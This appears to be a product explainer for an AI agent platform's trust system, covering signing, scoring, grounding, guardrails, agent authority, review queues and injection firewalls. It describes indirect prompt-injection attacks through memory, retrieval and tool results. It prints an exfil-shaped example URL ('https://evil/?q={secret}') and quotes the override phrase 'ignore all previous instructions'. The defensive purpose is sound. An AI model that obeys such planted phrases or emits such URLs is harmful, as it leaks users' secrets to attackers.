An answer you can trust is not an accident. It is earned twice — once when the agent is signed, and again on every turn, as it is observed, enforced, proved — and then kept in check, as its own conduct feeds back into the badge. This is that story, told from the outside in.
Born→Composed→Signed→Runs→Observed→Enforced→Proved↻Kept in check
Read it like an onion. Every panel opens in plain language. Click peel → to reveal the mechanism, then peel deeper → for the full technical detail — the crypto, the files, the tables. Peel only as far as you care to.
Act I
Born, then trusted — signing an agent
Trust in Uderia is a badge on the agent, not a promise in a document. A signed agent is trusted exactly when its whole composition is — every part it is made of must itself be signed and intact. You build trust from the inside out; you read it from the outside in.
Signing runs core → out: validate & sign each ingredient, then the agent. You read it out → core: the badge you see, and everything true beneath it.
① BADGE
Three states, one honest badge
Every artefact wears one of three seals — and by default a fresh deployment wears none.▾
Mechanism
Unsigned
Nobody has attested it. The default state of everything — a byte-identical baseline. Sharing still works; trust is simply not yet claimed.
Trusted
Signed and its content still matches what was signed. For an agent, this also means every ingredient is trusted too.
Changed
Signed once, but the content has drifted since. Tamper-evident: any edit flips 🟢 → 🟠 automatically.
Badge, not gate. Trust is shown and verifiable; by default it informs rather than blocks. Sharing an agent stays completely open — the badge tells a consumer what they are getting; it does not lock the door.
Detail
Trust is computed, never re-derived. The state is resolved on read from two facts: does a valid signature exist, and does the live content hash still equal the signed one. There is no separate "trust database" to fall out of sync.
The whole capability ships inside the physically-isolatable Ontology Suite, governed by one switch (core/enterprise.py). With no attestations present, every artefact is ⚪ and nothing about the platform changes.
Full detail · guarantees
Byte-identical baseline — no attestations ⇒ every artefact ⚪; behaviour is unchanged.
Tamper-evident — any content edit flips 🟢 → 🟠 via hash mismatch, with no re-signing.
Offline-verifiable — an Ed25519 signature verifies with only the signer's public key, no server call.
Trust ≠ access — a signed artefact is validated, not authorized; secrets never travel with it.
An agent is made of ingredients. It cannot be trusted until each of them is.▾
Mechanism
An agent's ingredients are its active ontology (its knowledge graph) and its active skills. The sign gate refuses to seal the agent until every ingredient is already 🟢. If one is unsigned or changed, it appears in a "sign these first" list — the guided path that makes the composition legible.
So trust is genuinely compositional: a signed agent contains only signed parts. The consumer reads one badge on the agent; the catalog of parts hides behind it, each already vouched for.
Detail
The rule is a single pure function, agent_signable(ingredients), which returns the blocking list. The same rule composes one level up for agent packs: a pack is "an agent whose ingredients are its members", resolved by pack.member_refs → agent_signable. One idea, applied recursively.
Config artefacts — MCP servers, LLM configs, vector/graph backends — are not attestable by design. Their content is credentials, and trust ≠ access. They are senses and organs the agent is born with, not things to be vouched for.
Full detail · the compositional truth
Agent trust resolves as: 🟢 agent ⟺ its attestation is intact and every ingredient resolves 🟢 (resolve_agent_trust). The composition itself is fingerprinted with an id- and order-independentcomposition_hash, so re-ordering ingredients or remapping ids never changes the badge — only real content change does.
Ten kinds of artefact, one closed set of checks — each pure, deterministic, and free.▾
Mechanism
Signing is never a rubber stamp. Each signable kind runs a validator that returns one of three bands: clean (signs freely), partial (signs with a caveat noted on the badge), or blocked (cannot be signed until fixed). An ontology that isn't conformant, a skill that carries a prompt-injection, a flow whose query is unsafe — each is caught here, before a signature exists.
Detail · the ten signable kinds
Every kind maps onto one closed archetype set — the two shipped poles (conformance, content-safety) plus code-safety, query-safety, integrity, and aggregate. Eight kinds have a per-kind validator registered by kind; the two aggregate kinds (agent, agent pack) are signed only when all their parts are. Each validator is pure and 0-token, so adding a new kind is one function with no forks.
Artefact
kind
What is signed
Archetype
Ontology (KG)
ontology
entities + relationships
conformance
Skill
skill
instruction text
content-safety
Agent
agent
composition over ingredients
aggregate
Extension
extension
handler source + manifest
code + content
Knowledge repo
knowledge
sorted per-doc hash + embedding
integrity + content
Planner repo
planner
sorted per-case hash
integrity + query-safety
Agent pack
agent_pack
composition over members
aggregate
Flow
flow
node/edge logic (positions excluded)
code + query + content
Dashboard
dashboard
tile structure + data source
query-safety
Canvas
canvas
markup
markup/XSS + content
Full detail · the scanners
Validators lean on shared deterministic 0-token scanners: content_safety_scan (prompt-injection), code_safety_scan (AST), sql_safety_scan, markup_safety_scan (XSS), combined by aggregate_verdict. A ScanResult splits findings into blocking vs caveats, which is exactly what maps to blocked vs partial.
The ontology validator is special: it wraps the Tier 4.3 conformance gate, so a non-conformant ontology is not signable and a partially-conformant one signs with a badge note. Files: core/trust/validators.py, core/trust/scanners.py, core/trust/content.py (the canonical per-kind content resolver).
④ SIGN
The signature is bound to content, not to a name
One Ed25519 key seals the exact bytes — so the seal survives a copy, and breaks on an edit.▾
Mechanism
To sign, the platform computes a content hash of the exact signable bytes and signs kind|version_hash with the platform's Ed25519 provenance key. Because the signature is over content and not over an id or a filename, it is portable and self-describing — and any later edit changes the hash, so the signature no longer matches and the badge flips to 🟠.
Detail
The store persists each attestation with its signer public key alongside the signature, so a consumer on a different Uderia instance can verify with the publisher's key — no shared secret, no phone-home. content.py is the one canonical place that defines "what bytes are signed" per kind, shared by sign-off, badge-state resolution, and marketplace portability, so they can never drift apart.
Full detail · one key, reused three times
The signer behind trust is not a new key. eval/online.py:sign_payload() — the platform provenance key — is reused verbatim by core/trust/store.py:sign(). So one Ed25519 key signs three things: the execution trajectory (the EPC), the evaluation verdict that grades it, and the trust badge that says the agent is made of validated ingredients. All three verify offline with the same committed verifier.
REST: POST /v1/trust/<kind>/<id>/sign-off, POST /v1/trust/verify, GET /v1/trust/agent/<id>. Table trust_attestations (self-applying). Reference: AGENT_OPS_EVAL_ARCHITECTURE §6.4.
⑤ TRAVEL
Trust travels — but only honestly
A shared copy is 🟢 only if it is byte-identical to what the publisher signed.▾
Mechanism
When an agent (or KG, skill, pack) is published to the marketplace and later installed, its ids are remapped to the new instance — but because signatures are bound to content, the attestation survives the remap. A publisher's green badge can reappear on the consumer's copy… if and only if the copy's live hash matches what was signed. If anything changed in transit, the badge honestly shows ⚪/🟠 instead.
Detail
Every marketplace surface uses the same two calls: capture(kind, id) at publish and reinstate(kind, new_id, claim) at materialize, gated by the honesty gate. The claim carries the signer's public key, so cross-instance verification uses the publisher's key. Wired into KG, agent-pack (and per-member), skill, extension, and component-instance flows; collections inherit trust for free via the reference model.
Full detail
Live-verified end to end: a signed KG published → forked to a new kg-id → resolves 🟢 with verified:true (the id remap survived), while the honesty gate refuses to re-establish a signature on a mismatched composition. Module: core/trust/portability.py (capture / reinstate / claim_state + honesty gate). 132 assertions in test/test_trust_membrane.py cover the three-state truth, hashing, the compositional truth table, all ten validators, and cross-instance public-key round-trip.
The one line to keep
Signing proves an agent and its parts are intact and unchanged — it grants no permissions. A checked thing is not an authorised thing. Whether the agent may act, and on whose behalf, is a separate story — Act II.
Act II
Then it acts — observe → enforce → prove
A signed agent is trustworthy at rest. But an agent earns trust in motion, one turn at a time. Every turn passes through a pipeline of independent checks — and the same substrate that observes quality can enforce against drift on the request path, then prove the result with a signed, published benchmark.
Order is the process. You cannot withhold an answer after it has streamed — so grounding and guardrails sit before the answer leaves the building.
Observe — the substrate
OBSERVE
Grade in code first; ask a model only for the rest
Most of quality is measurable deterministically — free, reproducible, zero tokens.▾
Mechanism
Every executed turn is scored against a profile-class-aware suite of deterministic scorers — did it complete, stay in cost, avoid tool loops, cite its sources, keep numbers faithful, stay in scope. This runs in code (CI-pure, 0 tokens), on by default, backgrounded so it can never block or slow a turn.
Only the open-ended residue — "is this answer actually supported?" — is handed to LLM judges, and only on a sample.
Detail · the moat
19 core scorers + 13 reliability/quality scorers, derived entirely from the trace already persisted. Metrics are 3-banded — healthy / review / danger — where review passes the gate but is flagged ("warn, don't gate"). The philosophy: grade what matters, not the path — tool assertions use subset / must-not-call semantics, never an exact sequence.
Full detail
Files: eval/scorers/deterministic.py · eval/scorers/reliability.py. A scorer abstains (passed=None) rather than fabricate a verdict when its input is absent — abstention is first-class. Runs across all five agent classes; adding a metric is one class + one register_scorer call. Reference: AGENT_OPS_EVAL_ARCHITECTURE §5.2.
OBSERVE
A panel of judges, calibrated against humans
For the questions code can't grade, a diverse panel votes — and stays advisory until it earns trust.▾
Mechanism
The open-ended dimensions — answer correctness, groundedness, instruction-following, synthesis quality, and semantic content safety — go to a panel of independent models that each score one dimension in isolation, cite evidence, and may answer "unknown". Consensus is a majority vote that ignores abstentions.
Because Uderia already speaks to ten LLM providers, a diverse-family panel is essentially free — and diversity is what mitigates a single judge's self-preference and correlated error.
Detail · calibration
A judge starts non-gating. It is only promoted to gate a release once it agrees with human SME labels at Cohen's κ ≥ 0.6 (substantial agreement). Human labels come from an annotation queue where reviewers agree/disagree with verdicts. Judges refine what a code grader can only approximate — they never replace the deterministic floor.
Full detail · the 8 decomposed judges
Judge
Dimension
Abstains unless
answer_correctness
vs a reference
reference present
groundedness
Focus / RAG
retrieved docs present
instruction_following
Ideate
answer present
tool_arg_optimality
tool classes
tool calls present
answer_groundedness
tool classes
tool results present
scope_faithfulness
tool classes
KG scope declared
synthesis_quality
Coordinate
experts invoked
content_safety
all classes
answer present
content_safety is the semantic complement to the deterministic outbound guardrail — it catches the residue only meaning can (sarcastic or coded abuse, harm-enabling instructions, indirect personal identification), advisory and never blocking the answer path.
Files: eval/judge.py, eval/scorers/judges.py, eval/calibration.py. Every judge run is a visible, reload-safe Live Status step and its token cost is allocated to the turn exactly like any other spend.
OBSERVE
"Is this agent good?" — the health roster
Not a firehose of runs. An agent-first scoreboard, banded by health.▾
Mechanism
The market shows you a stream of traces; the buyer's real question is "is this agent regressing?" So the lead UX is an agent health roster — one card per agent, IFOC-coloured, worst-health-first, with honest "unevaluated" empty states rather than fake numbers.
Detail · 4-class health & pass^k
One banded scale everywhere: 🟢 Healthy (≥ 0.80) · 🟡 Review (0.50–0.79) · 🔴 Danger (< 0.50) · ⚪ Inactive. Offline reliability uses pass^k — the fraction of cases that pass on all k reps — which surfaces the long tail that single-shot accuracy hides. A regression gate turns this into a CI exit code.
Full detail
Two lenses over one substrate: Sessions (instance — "what happened in this run?") and Agents (entity — "is this agent good?"), bridged by a trajectory verdict overlay. Files: agentPerformanceHandler.js, eval/analysis.py, eval/runner.py, eval/gate.py. Coordinators expand into a master/slave trace tree; flows are graded as whole agents.
Enforce — on the request path
ENFORCE
Grounding — pass, annotate, or withhold
The one place the eval substrate acts before the user sees the answer.▾
Mechanism
Grounding checks every answer against the scope the agent's knowledge model actually declared. It closes Uderia's own documented failure: an agent received a complete, scope-correct enrichment, ignored it, brute-forced 19 calls across unrelated databases, and produced a confident, wrong 230-day answer. In enforce mode that answer is now withheld.
observe
measure only, change nothing (default)
annotate
deliver with an honest note
review
withhold, but keep the original for a human
enforce
withhold a confirmed drift
Detail · tiered — cheap trigger, judged decision
A first benchmark disproved a naïve deterministic block: it over-blocked honest "not in my scope" refusals and missed prose-only drift. So enforcement is tiered: a cheap deterministic trigger does recall (flags any structural data reference not on the KG allowlist — never starving the judge), then the scope_faithfulness judge does precision — drifted → withhold · faithful → deliver · unavailable → annotate. An honest refusal always survives.
Detail · two lanes, one gate — the knowledge lane too
The same gate now grounds answers built from retrieved knowledge, not only from SQL scope. A second trigger family checks the answer's numbers, verbatim quotes, and named identifiers against the chunks that were actually retrieved — and, before flagging anything, runs a second-chance targeted retrieval so a claim the first search missed but the corpus does support is cleared, not blamed. What survives escalates to the groundedness judge. In the answer itself, an unsupported span gets a dotted underline — "unsupported by the knowledge base" is drawn in place, and it never means "false". A companion honesty check stops the opposite failure: when retrieval finds almost nothing yet the answer asserts specifics, it says "the knowledge base does not cover this" instead of inventing.
Full detail · never breaks a turn
Observe/annotate/off never reach the judge → zero added latency or cost by default; only enforce pays a judge call, and only when the trigger fires. The path fails open (a gate error delivers the original answer) and in enforce fails safe to annotate on any judge unavailability. Crucially, the live gate's "out of scope" is the same primitives the off-path scope_adherence scorer uses — observe and enforce can never disagree. A confirmed withhold is written into the Ed25519 provenance chain. Files: agent/grounding/{primitives,corpus,gate,enforce,runtime,adapter}.py, agent/honesty/. One implementation for all five engines, SQL scope and retrieved knowledge alike.
ENFORCE
Guardrails — protection on both edges
A hidden instruction can't hijack it; personal data and toxicity can't leave it.▾
Mechanism
Inbound: the incoming request is screened before the agent reads it; a prompt-injection is refused. Outbound: the drafted answer is screened; personal data is masked and toxic content withheld. Both are fast and free — deterministic, zero extra model calls — so they cost nothing to run on every turn.
Detail
Outbound events carry category labels only — never the raw personal-data value, so the audit trail itself never leaks. Guardrails are a request-path enforcement primitive (a sibling of grounding, not a component), default observe, and — like everything here — fail open so they can never break a turn. On enforce, a blocked inbound turn produces a self-contained refusal; the injected text never reaches the model.
Full detail
Deterministic 0-token detectors: prompt-injection, PII (email/SSN/Luhn-validated card/phone/keys/IBAN/IP) with redaction, closed-set toxicity, and exfiltration-shaped URLs — the classic RAG leak where a poisoned document plants https://evil/?q={secret} that exfiltrates on render. A URL that is both novel (not in the turn's own sources) and exfil-shaped is defanged — its text kept, the link made dead — never silently deleted. Master switch GUARDRAILS_ENABLED (default off); per-profile guardrailConfig mode ladder off/observe/annotate/review/enforce (review = enforce with retention — see Act III). Files: agent/guardrails/. Rendered as a Live Status card, live + reload, for all five engines.
ENFORCE
Agent Authority — a borrowed identity, strictly bounded
When an agent acts on its own, it acts as a scoped subset of its owner — checked before every action.▾
Mechanism
A scheduled task, a sub-agent, a flow node — anything running unattended — must not run with your full permissions, unattributed. Instead it takes on a limited version of its owner: autonomy on/off, read-only, a denied-tool list, a connector allow-list, a per-run budget. Every attempted action is checked against that limit before it happens, and every autonomous action is attributed to the agent, not to you.
Detail · fail-closed at every chokepoint
The agent's authority is a strict subset of its owner's — never a grant. Enforcement is fail-closed: if the check itself errors, the action is denied. Autonomy is set per turn at the boundary via an async-task-local security context, so concurrent sessions stay isolated with no signature threading. An interactive user turn leaves it unset → baseline, no gating.
Full detail · honest scope
Three tool chokepoints read the ambient principal and deny before executing: MCP tools, component tools, connectors. This is the attainable form — capability scoping + audit + enforcement. The fuller form ("cannot query outside its data slice") is the OBDA future. Files: core/agent_authority.py, wired at agent/execution_service.py. Reference: AGENT_AUTHORITY_ARCHITECTURE.
Prove — evidence, not claims
PROVE
Every verdict is bound to the trajectory it grades
The score isn't a note next to the trace — it's cryptographically fused to it.▾
Mechanism
Every turn already produces an Ed25519-signed Execution Provenance Chain — a hash-chained record of exactly what happened. When the turn is scored, the verdict digest is bound to that chain's tip and signed, so a quality claim can be audited alongside the exact trajectory it grades. Tamper the trace, and the signature no longer matches.
Detail · one key, three signatures
This is where Act I and Act II meet. The same Ed25519 provenance key signs three things:
the trajectory — what the agent did (the EPC);
the verdict — how good it was (the eval attestation);
the badge — that the agent is made of validated ingredients (the trust attestation).
All three verify offline with the same committed verifier and the signer's public key alone.
Full detail
eval/online.py:sign_payload() is the shared signer; core/trust/store.py:sign() reuses it verbatim. A reproducible signed-attestation sample + a standalone offline verifier ship as the A6 proof-pack (docs/proof-packs/samples/verify_attestation.py) — anyone can confirm digest match, key fingerprint, Ed25519 signature, and that a tampered payload is rejected, with no Uderia install.
PROVE
The benchmarks — published, and honest
Enforcement quality is a reproducible number with its misses shown, not a marketing claim — one benchmark per lane.▾
Mechanism
The grounding system is turned into a published, reproducible proof — one benchmark per lane. The structured lane: 36 real turns, judge-labelled — 100% trigger recall, 0 false negatives, net drift 6% → 0%. The knowledge lane: 18 curated cases scored by the production trigger itself — 85.7% recall, 0% false positives, 100% second-chance recovery, reproducible offline at zero tokens. Both publish their misses by case id. Read the numbers →
Detail · the matrix
judge: drifted
judge: faithful
trigger fires → judged
TP (caught)
FP (extra judge call, never a wrong verdict)
trigger passes → delivered
FN (the honest gap, shown)
TN
Honest by construction: false negatives and false positives are published, not hidden. The recall-first trigger exists precisely to shrink the FN corner.
Full detail
A 36-case dataset (in-scope / out-of-scope / ambiguous); a pure scoring core (eval/benchmarks/grounding/report.py) is the single source of truth the harness and any in-platform view render from, so they can never diverge. The knowledge-lane twin (eval/benchmarks/corpus_grounding/) is fully deterministic — anyone with the repo reproduces the published numbers offline, and the numbers are pinned in CI so drift fails the build. Both, side by side, with limits stated: The Numbers. Reference: §6b.
Where the two acts meet
One Ed25519 key signs the trajectory, the verdict, and the badge. That is why Trust & Assurance is one system, not three products bolted together: the thing that proves what the agent is made of (Act I) and the thing that proves how it behaved (Act II) rest on a single cryptographic root — offline-verifiable by anyone, with nothing but a public key.
Act III
The loop closes — trust that responds
Observing and enforcing is not the end of the story. What the substrate measures feeds back: the badge on the agent breathes with its conduct, a human can be put in the loop, no indirect path stays silent, and you decide policy on evidence, not faith. Trust is a closed loop — measured behaviour changes the trust state, the trust state can change enforcement, and every step stays visible and verifiable.
RESPOND
The badge breathes — behavioral trust
A signature proves an agent is unchanged. It cannot prove it is behaving. So the badge earns and withdraws trust as conduct is measured.▾
Mechanism
The Behavioral Trust Score fuses the static integrity of the sign-off (🟢/🟠/⚪) with the agent's live track record — a recency-weighted pass rate, extra weight on the trust-critical checks (scope, groundedness, governed-data ratio) — into one composite state that moves: provisional → at-risk → watch → proven → trusted. Sustained good conduct earns trust; decline visibly withdraws it. Integrity can only cap conduct, never promote it — an unsigned agent can never read fully trusted, no matter how well it behaves.
Detail · the circuit breaker
When an agent's trailing conduct enters at-risk (volume-gated, so a couple of bad turns on a new agent can't trip it), an opt-in circuit breaker responds — notify the owner, or freeze autonomy: it sets the agent's Agent-Authority autonomous=false, suspending only its unattended use until a human reviews. Interactive use is never touched; the freeze is visible and reversible. This is the loop closing — a measurement changing an enforcement.
Full detail
Pure decision in eval/trust_behavior.py (integrity × track-record fusion, staleness decay, volume gates); the breaker runs at the end of the online-eval hook on the transition edge into at-risk (eval/online.py:_run_trust_breaker). Default off ⇒ read-side only, byte-identical baseline. On the roster the state renders as a seal + ring glyph — the seal is integrity, the ring fills with conduct. Reference: §6c.1–6c.2.
REVIEW
A human in the loop — review mode
Enforce discards a risky answer. Review withholds it exactly the same — but keeps the original for a person to approve or uphold.▾
Mechanism
A fourth acting mode on both the grounding gate and the outbound guardrail: review. It withholds or redacts exactly like enforce, but parks the ORIGINAL answer for the owner to disposition — nothing lost, nothing silently delivered. Ideal for the scheduled and autonomous runs nobody was watching. It is the platform's human-oversight mechanism, not a promise.
Detail · append-only release
Approve = "I've seen the original and accept it"; uphold = the withholding stands. Either way the decision is recorded on the turn's trace. Release is append-only — the delivered conversation is never rewritten; an approved original surfaces in that answer's trust capsule, always labelled as a human decision. Parked items and incidents land in an Assurance Inbox that turns trust events into worked items instead of buried log lines.
Full detail
review is a runtime composite, not a config-ladder mode: the runtime detects the raw profile mode, substitutes enforce for evaluation, then parks the withheld original in core/review_queue.py and re-tags the event. REST: GET /v1/assurance/reviews, POST …/<id>/approve|reject. Trust incidents flow through core/trust_events.py. Reference: §6c.4.
FIREWALL
No silent path — the three injection firewalls
The inbound guard screens what the user types. A hidden instruction can still arrive three other ways — each is now closed.▾
Mechanism
Indirect injection is the lane the entry guard cannot see. Three firewalls close it: a poisoned memory write is quarantined (stored but never recalled — closing the persistent-compromise vector); a poisoned retrieved document is defused (kept, but wrapped in an untrusted-data label the model must not obey); and a poisoned tool result — a database row that says "ignore all previous instructions" — is flagged. All three ride the same guardrails master switch and cost zero tokens.
Detail
The memory and retrieval firewalls alter what the model reads (quarantine / label); the tool-result firewall is deliberately observe-only — it flags but never rewrites the row, so a false positive can never corrupt real data. Each records an Assurance-Inbox event (labels only, never the poisoned content) and broadcasts a live notice. Files: components/builtin/memory/store.py (screen_memory_content), knowledge_context handler, agent/guardrails/runtime.py (scan_tool_result). Reference: TIER_1.3 §5.
Full detail · and one lane earlier — at ingest
All three reuse the one deterministic detect_prompt_injection primitive the inbound guard uses, and all fail open. Earlier still, an ingest firewall screens every document as it enters a knowledge repository — injection patterns, personal-data categories (counts only, never the values), exfil URLs — recording the result without ever blocking an upload. "We screen what the model reads, not just what the user types" — the indirect-injection triad the edge guard alone cannot cover, now backed by screening at the source.
CLOSE
The knowledge lane, on par — and beyond
Retrieved knowledge is judgement, so it stays monitored — but monitored as strongly as monitoring can be, and shown honestly.▾
Mechanism
A knowledge repository can never be a signed data product — retrieval matches on meaning and synthesis is judgement, so it can't be a deterministic contract. What it can earn is honesty about its source. Every answer now shows where its knowledge came from: the corpus's integrity signature (🟢 signed · 🟠 changed · ⚪ unsigned — a guarantee about the source, never the answer), how stale that source is ("verified 94 days ago" / "sync off"), and its sensitivity. A repository's own signature was made earned: it can be signed only once it is fully screened and its critical findings resolved — either quarantined, or acknowledged with a recorded reason. A poisoned document is one click from quarantine: excluded from retrieval, still visible, reversible.
Detail · two signature meanings, never conflated
The corpus signature and a data-product signature mean different things and the interface keeps them visually distinct: one attests source integrity (this document set, this embedding model, unchanged), the other a deterministic consumption contract. The answer stays in the monitored lane and says so — the badge is a source guarantee, not a consumption one. Quarantining a document changes the corpus, so the signature honestly reads "changed" until re-signed: the ratchet working, not a bug.
Full detail · beyond parity
Three controls no filtering-or-reporting platform offers: retrieval-anomaly monitoring (a document retrieved across many unrelated queries is a suspicious embedding hub — flagged for your disposition, never auto-quarantined; honestly labelled statistical, not proven poisoning); sensitivity levels (a per-agent ceiling on which repositories it may read, and a note when an answer draws on a confidential one); and a source-consistency judge that surfaces when two retrieved documents disagree instead of silently picking one. Files: agent/grounding/corpus.py, agent/guardrails/corpus_screen.py, core/knowledge_provenance.py, eval/retrieval_anomaly.py, eval/scorers/{reliability,judges}.py.
EVIDENCE
Decide on evidence — backtest, red-team, receipts
Before you tighten a switch, replay it. Probe the agent. And hand the consumer a receipt they can verify.▾
Mechanism
The observe → enforce climb is an anxiety problem, so it's decided on evidence. Policy backtesting replays a proposed grounding/guardrail policy over your real, persisted history — deterministically, at zero token cost — and reports exactly what it would have blocked, masked, or escalated. Red-teaming probes an agent with an adversarial corpus and scores whether its guards held. And every answer carries a consumer-facing "Why trust this answer?" receipt — sources, the governed-vs-free-formed data lane, guard findings, and the signed provenance chain, exportable and verifiable offline.
Detail
Backtest guardrail projections are exact (the same policy engine on stored text); grounding projections are trigger-level and honestly do not simulate the judge (a flagged turn reads "would escalate", never a certain block). The deterministic red-team scores in-path detector recall for free; an opt-in, budget-capped live red-team drives real probe turns — including a corpus lane that plants a real poisoned document in a test collection, asks the question that retrieves it, scores whether the firewall and the answer held, and deletes the payload afterward (with the cleanup status reported, never silent). A signed audit pack bundles posture + eval + incidents + an EU AI Act / NIST / GDPR control map, Ed25519-signed and offline-verifiable.
Full detail
Files: eval/backtest.py, eval/redteam.py (deterministic self-test), eval/live_redteam.py (real probe turns), the answer capsule (static/js/handlers/answerCapsule.js). REST: POST /v1/evals/backtest, /v1/assurance/resilience-test, /live-redteam, /audit-pack. And a per-turn Trust Journey strip renders the whole pipeline — inbound guard → authority → scope → tools → outbound → grounding → seal — as one glanceable row. Reference: §6c.3–6c.5.
The differentiator
Most platforms sell trust as filtering (guardrails that block) or as reporting (dashboards that observe). Uderia sells it as closed-loop, verifiable trust: measured behaviour changes the trust state, the trust state can change enforcement, and every step of that loop — down to the individual answer's receipt — is cryptographically provable.
The membrane holds
Safe by default, rigorous by choice
Nothing here is imposed on you. Every capability ships off, or observe-only — a fresh deployment behaves exactly like an ungoverned one until you turn something on. You opt into rigor deliberately, one layer at a time, and you can always see and verify what each layer did.
Signed, so you know what it is made of. Observed, so decline is visible. Enforced, so drift never reaches the user. Proved, so the claim is checkable — offline, by anyone. And kept in check, so trust reflects how it actually behaves.
The whole story, in one breath
A Uderia agent is born from its configuration, composed of validated ingredients, signed into a trusted whole — and then, on every turn it runs, it is observed for quality, enforced against hallucination, out-of-scope drift, leakage, and borrowed authority, and proved with a signature anyone can check. And the loop closes: its measured conduct feeds back into the badge itself, a human can be put in the loop, and every answer carries a receipt. Trust, earned — and kept.